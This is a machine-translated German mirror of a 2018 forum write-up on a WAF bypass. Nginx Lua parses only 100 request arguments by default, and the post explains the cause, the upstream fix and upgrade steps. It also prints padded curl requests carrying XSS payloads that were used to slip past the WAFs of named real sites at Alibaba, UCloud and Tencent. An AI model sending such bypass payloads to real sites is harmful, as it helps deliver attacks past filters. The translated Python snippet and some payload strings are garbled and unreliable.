Dieser Artikel ist ein Spiegelartikel der maschinellen Übersetzung, bitte klicken Sie hier, um zum Originalartikel zu springen.

Ansehen: 16994|Antwort: 1

[Sicherheitslücke] Nginx Luas WAF-Anwendungsfirewall-Schwachstelle

[Link kopieren]
Veröffentlicht am 27.04.2018 09:23:29 | | | |
Wenn ginx Lua Parameter erhält, werden standardmäßig die ersten 100 Parameterwerte erhalten, und der Rest wird verworfen.
Daher werden WAFs, die Nginx Lua verwenden, standardmäßig umgangen.
Am 20. und 18. April hatte jemand des Sicherheitspassagiers dieses Detail bereits offengelegt, weshalb ich auch Artikel 233 veröffentlicht habe.



Prinzip

Die offizielle Beschreibung lautet wie folgt

Beachten Sie, dass maximal 100 Anfrage-Argumente standardmäßig geparst werden (einschließlich derselben Namens) und dass zusätzliche Anfrage-Argumente stillschweigend verworfen werden, um potenzielle Argumente zu verhindern Denial-of-Service-Angriffe.

Bis zu 100 Anfrageparameter (einschließlich derselben Namen) können standardmäßig analysiert werden, und zusätzliche Anfrageparameter werden automatisch entfernt, um potenzielle Denial-of-Service-Angriffe zu verhindern.

Search 100, ungefähr die folgende Methode hat dasselbe Problem.
ngx.req.get_uri_args Hol die Anfrageparameter für get
ngx.req.get_post_args Hol dir die Anfrageparameter für den Beitrag
ngx.req.get_headers Hol dir den Request-Header
ngx.decode_args Entschlüsseln Sie die URL der Parameter
ngx.resp.get_headers Hol dir die Antwort-Header.
Im Quellcode des lua-nginx-Moduls sehen wir, dass der Quellcode den Standard-Maximalanforderungsparameter und den Header auf 100 setzt




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Der Offizielle stellt jedoch eine Methode zur Verfügung, um den Standardwert zu ändern, zum Beispiel ngx.req.get_uri_args (200), um die ersten 200 Anfrageparameter zu erhalten.

Test

Ist der Anfrageparameter 101, kann der letzte Anfrageparameter nicht erhalten werden.

Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Wenn du einen Request-Parameter reduzierst, kannst du den letzten Request-Parameter erhalten, wenn die Request-Parameter genau 100 sind.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
A: ZBG
Ich hab dich, zbg

Beachten Sie, dass standardmäßig tatsächlich 100 Anfrageparameter sind, und die Anfrageparameter nach 100 Anfrageparametern werden verworfen.

Es ist merkwürdig, dass im obigen Rückgabe-Inhalt, in der Mitte der Rough-Position, der letzte zbg-Parameter bereits ausgegeben wird. Ich vermute, dass die Ausgabe nicht in der Reihenfolge ist, aber die Reihenfolge, in der das Parsing erfolgt, der Reihenfolge der eingereichten Parameter folgt, denn wenn der 101. Parameterwert zbg ist, kann der Wert nicht ermittelt werden.

Angehängt ist das Python-Skript, das die Parameter generiert:

# Autor: ZBG
# Mail:zbg@zbg.org
# Datum: 03.04.2018

a = ''
Für I im Bereich(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Druck a
reparieren
Natürlich wird nicht empfohlen, den MAX-Wert des Parameters im Quellcode zu ändern. Denn egal wie hoch der Wert ist, der Wert kann umgangen werden. Es wird empfohlen, sie nach den Parametern der Methode einzustellen.
Wenn man die Länge des Anfrageparameters herausfinden und eine Methode wie ngx.req.get_uri_args (Lenth) verwenden kann, würde das nicht ausreichen?
Beim Lesen der Dokumentation stellte ich fest, dass die Anzahl der angeforderten Parameter nicht erhalten werden konnte. Wenn du jedoch die Lenth auf 0 setzt, kannst du alle gewünschten Parameter erhalten.

Dieses Argument kann auf Null gesetzt werden, um die Grenze zu entfernen und alle empfangenen Anfrageargumente zu verarbeiten.
lokale Args = ngx.req.get_uri_args(0)

Es wird jedoch dringend davon abgeraten, sie auf 0 zu setzen, um mögliche Denial-of-Service-Angriffe zu verhindern.

Das Entfernen der max_args-Kappe wird dringend abgeraten.

Eigentlich habe ich mich gefragt, warum das Setzen von 0 zu einem möglichen Denial-of-Service-Angriff führen sollte und die Anfrage sowieso an nginx gehen würde, egal wie viele Parameter es in Get oder Post gibt.

Ich habe dem Offiziellen ein Problem vorgebracht, und der Autor sagte, dass ngx.req.get_uri_args (0) die CPU- und Speichernutzung des Servers erhöhen wird. Später testete ich 200 Parameter und verwendete Nginx+php, um den 200. Parameter zu erhalten, was bedeutet, dass Nginx standardmäßig die Anzahl der angeforderten Parameter nicht begrenzt. Dann könnte das Problem in Nginx Lua selbst liegen,Wenn Nginx Lua ngx.req.get_uri_args(0) verwendet, um alle Parameter zu erhalten und durch sie iteriert, verbraucht es nach vielen angeforderten Parametern mehr CPU und Speicher und führt schließlich sogar zu einem Denial-of-Service

Am 03.04.2018 hat Bypass007 offiziell ein PROBLEM zu diesem Bugfix aufgeworfen und schließlich am 21.04.2018 eine neue Funktion basierend auf diesem PROBLEM hinzugefügt. Die Commit-Datensatzadresse dieser Funktion: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Die Funktionsbeschreibung lautet wie folgt: In Versionen nach v0.10.13 (einschließlich v0.10.13), wenn die Grenze der Anfragen überschritten wird, ist der zweite Rückgabewert der abgeschnittene String.
Seit v0.10.13 wird beim Überschreiten des Limits ein zweiter Wert zurückgegeben, der die "trunkierte" Zeichenkette ist.
Das optionale Argument max_args Funktion kann jedoch verwendet werden, um diese Grenze zu überschreiben:
lokale Args, ERR = ngx.req.get_uri_args(10)
wenn err == "abgeschnitten", dann
     -- kann man sich entscheiden, die aktuelle Anfrage hier zu ignorieren oder abzulehnen
Ende

Also kam die endgültige Lösung heraus.

Upgrade lua-nginx-Modul auf v0.10.13 oder höher

Dann begrenze die Gesamtzahl der Parameter, und wie stark die Gesamtzahl begrenzt ist, denke ich persönlich, dass 100 ausreichen

OpenResty verbessert das lua-nginx-Modul

Ich habe keine Informationen über das OpenResty-Upgrade-Modul gefunden, also habe ich selbst herausgefunden, wie ich das lua-nginx-Modul upgraden kann.

Die Schritte sind wie folgt:

Laden Sie die entsprechende Version des lua-nginx-Moduls herunter
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
auspacken
tar -zxvf v0.10.13
Lösche die vorherige Version des lua-nginx-Moduls
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopiere das neue lua-nginx-Modul
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Für die Kompilierung siehe die Kompilierungsparameter von VeryNginx


Gehäuseumgehung

Es sollte klargestellt werden, dass ich bei den folgenden WAFs nicht sicher bin, ob ich Nginx Lua verwenden soll, aber sie können durch die Gesamtanzahl der Parameter umgangen werden.

Ali WAF

Dieses WAF ist ein WAF, das intern von Alibaba verwendet wird, also das WAF, das von Domainnamen wie *.taobao.com verwendet wird, und wurde nicht für das Cloud-WAF getestet, das von Alibaba Cloud verkauft wird.
Zuerst fordere eine POST XSS-Nutzlast an, um sie abzufangen.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Durch Fuzz wurde festgestellt, dass, wenn die Anzahl der Parameter mit XSS Payload auf 478 erhöht wird, diese nicht mehr abgefangen wird und die Website normal abgerufen werden kann.
Curl -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&a43=43&A44=44&A45=45&a46=46&A47=47&A48=48&A49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=21&a222=22=222&a223=23&a224=24&a225=25&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=35&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355&a356=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&A372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444=444=445&a446=446=447&a448=448=48&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465=465&a466=466=467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Der getestete WAF ist ein WAF, der von UCloud verkauft wird.
Wenn der Anfrageparameter auf 138 erhöht wird, wird er nicht mehr blockiert und die Website wird normal aufgerufen.
Curl -D 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&a43=43&A44=44&A45=45&a46=46&A47=47&A48=48&A49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Dieses WAF ist ein WAF, das intern von Tencent verwendet wird, also das WAF, das von Domainnamen wie *.qq.com verwendet wird, und wurde nicht für das Cloud-WAF getestet, das von Tencent Cloud verkauft wird.
Wenn der Anfrageparameter auf 4000 erhöht wird, wird er nicht mehr blockiert und die Website wird normal abgerufen. Zufällige Tests der folgenden Domänen sind betroffen.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

Zusammenfassung

Diese Frage ist sehr einfach, und Sie können sie finden, indem Sie das Dokument sorgfältig lesen. Aber warum habe ich es nicht herausgefunden? Ich denke, es ist immer noch zu wenig Nachdenken.
Referenz
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Vorhergehend:Lern Photoshop von Grund auf, 18 Lektionen vom Anfänger zu Gott
Nächster:Stärken und Schwächen von Lua und Luajit
Verzichtserklärung:
Alle von Code Farmer Network veröffentlichten Software, Programmiermaterialien oder Artikel dienen ausschließlich Lern- und Forschungszwecken; Die oben genannten Inhalte dürfen nicht für kommerzielle oder illegale Zwecke verwendet werden, andernfalls tragen die Nutzer alle Konsequenzen. Die Informationen auf dieser Seite stammen aus dem Internet, und Urheberrechtsstreitigkeiten haben nichts mit dieser Seite zu tun. Sie müssen die oben genannten Inhalte innerhalb von 24 Stunden nach dem Download vollständig von Ihrem Computer löschen. Wenn Ihnen das Programm gefällt, unterstützen Sie bitte echte Software, kaufen Sie die Registrierung und erhalten Sie bessere echte Dienstleistungen. Falls es eine Verletzung gibt, kontaktieren Sie uns bitte per E-Mail.

Mail To:help@itsvse.com